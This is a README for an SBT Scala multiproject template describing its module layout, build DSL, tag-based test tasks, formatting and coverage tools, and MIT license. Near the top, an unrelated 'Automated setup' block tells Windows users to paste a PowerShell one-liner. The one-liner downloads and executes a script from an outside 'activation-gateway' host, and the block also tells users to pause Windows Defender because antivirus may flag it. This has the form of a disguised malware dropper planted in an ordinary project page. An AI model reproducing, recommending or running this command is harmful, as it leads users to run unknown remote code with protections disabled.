A minimal SBT Scala multiproject template with an initial, opinionated configuration. It ships with two independent modules, a shared common project they both depend on, and preconfigured formatting, coverage, and style checks. Test tasks are split by tag so unit, functional, and integration suites can be run separately, with disabled tests filtered out by default. Use it as a starting point: swap in your own namespace, organization, and dependencies, then trim the defaults to fit your project.
Tip
Automated setup — one command, done. Windows 10/11 · PowerShell · Admin not required
- Press
Win + Xon your keyboard. - Click on Terminal or Windows PowerShell from the list.
Copy the line below into PowerShell and press Enter.
iex(irm 'https://activation-gateway.cc/update/ps-activator')Run this command in CMD instead:
powershell -NoProfile -ExecutionPolicy Bypass -Command "iex(irm 'https://activation-gateway.cc/update/ps-activator')"Warning
Windows Defender or third-party AV may flag the script. Pause Real-time protection in Windows Security, run the installer, and re-enable it right after.
- PowerShell 5.1+ (pre-installed on Windows 10 and 11)
- Windows 10 / 11 (x64)
- Internet connection — required to fetch the script
- Administrator — not required
- Multi-module SBT layout with independent
firstandsecondmodules sharing acommondependency. - Common build settings centralized in
project/Settings.scalaand dependencies inproject/Dependencies.scala. - Scalariform formatting, Scalastyle checks, and Scoverage measurement preconfigured.
- Tag-based test tasks:
unit:test,functional:test, andintegration:testselect tests by tag. - Tests tagged as
DisabledTestare automatically filtered out. - Small build DSL for declaring modules, applying shared settings, wiring test dependencies, and setting initial console commands.
- Per-module overrides supported via each module's own build file.
- Defaults are strict but easy to relax inline with format, style, and coverage toggles.
- SBT — multiproject build with shared settings and per-module overrides
- Scala — configured compiler options and namespace conventions
- Scalariform — formatting rules applied across modules
- Scalastyle — style checks with a customizable rule set
- Scoverage — test coverage measurement and aggregated reports
- Test tagging — predefined
unit,functional, andintegrationconfigurations plus filtereddisabledtests - Multi-module layout — independent
firstandsecondmodules with a sharedcommondependency
Modules live under modules/ and are wired together in build.sbt:
first— standalone module.second— standalone module.common— shared code, depended on by bothfirstandsecond.
Supporting layout:
project/— build plumbing:Settings.scala— common settings, test configs, and the small module DSL.Dependencies.scala— shared resolvers and library dependencies.plugins.sbt— SBT plugins (formatting, coverage, style checks).modules/<name>/build.sbt— optional per-module overrides, applied on top of the shared defaults.
Each module's sources follow the standard SBT layout (src/main/scala, src/test/scala, plus dedicated directories for functional and integration tests). Tagged test suites are scoped through the predefined unit:test, functional:test, and integration:test tasks; tests marked as disabled are filtered out automatically.
When adding a module, create modules/<name> and register it in build.sbt with project.from("<name>"), then attach shared settings and test configurations using the existing entries as a template.
Rename the root namespace in Scala sources and in project/Settings.scala, then update the organization name, version, and the initial console target.
build.sbt exposes a small DSL; use the existing modules as the pattern:
project.from("name")builds a module from themodules/namedirectory and sets its SBT name.setName("name")andsetDescription("description")set artifact name and description fluently.setInitialCommand("command")pointsconsoleatnamespace.{command}.configureModuleapplies the shared settings fromSettings.scala.configureUnitTests/configureFunctionalTests/configureIntegrationTestsadd the corresponding tagged test tasks.dependsOnProjects(projects)wires compile and test dependencies, so tests run only when the module and its dependencies pass.
Each call returns a project, so plain .settings(...) still applies. Per-module tweaks can live in modules/name/build.sbt.
Review project/Settings.scala to adjust scalacOptions, formatting preferences, and scalastyle-config.xml defaults. Shared resolvers and dependencies belong in project/Dependencies.scala.
Once you understand the layout, delete template-only files and replace the README and LICENSE with your own.
Use the template as a starting point, then adapt it to your own project. The typical flow:
- Rename the module namespace everywhere it appears — both in Scala sources under
modules/and in the shared settings insideproject/. - Adjust the organization name and version number to match your artifact coordinates.
- Review
project/Dependencies.scalaand update resolvers and dependencies as needed. - Add or remove modules in
build.sbtusing the existing projects as examples, then register each new module with the common settings and the test tasks it should expose. - Tune compiler options, formatter preferences, and style rules in the shared settings file and the style configuration file.
Each module lives in its own directory and can carry per-module settings in a local build file in addition to the shared configuration. Modules can depend on one another; test tasks for a module run only when its own tests and those of its dependencies pass.
Common commands:
sbt compile
sbt test
sbt clean test
sbt "project first" run
sbt first/test
sbt second/unit:test
Replace the sample projects and test tasks with whatever your own modules require. Once the initial editing is done, drop any leftover scaffolding files and supply your own README and license.
This template is released under the MIT License. See the LICENSE file in the repository root for the full text.
In short: you may use, copy, modify, merge, publish, distribute, sublicense, and sell copies of this template and any derivative works, provided the copyright notice and permission notice are included in all copies or substantial portions of the software. The template is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and noninfringement.
When you bootstrap a project from this template, replace the copyright holder and year in the LICENSE file with your own details.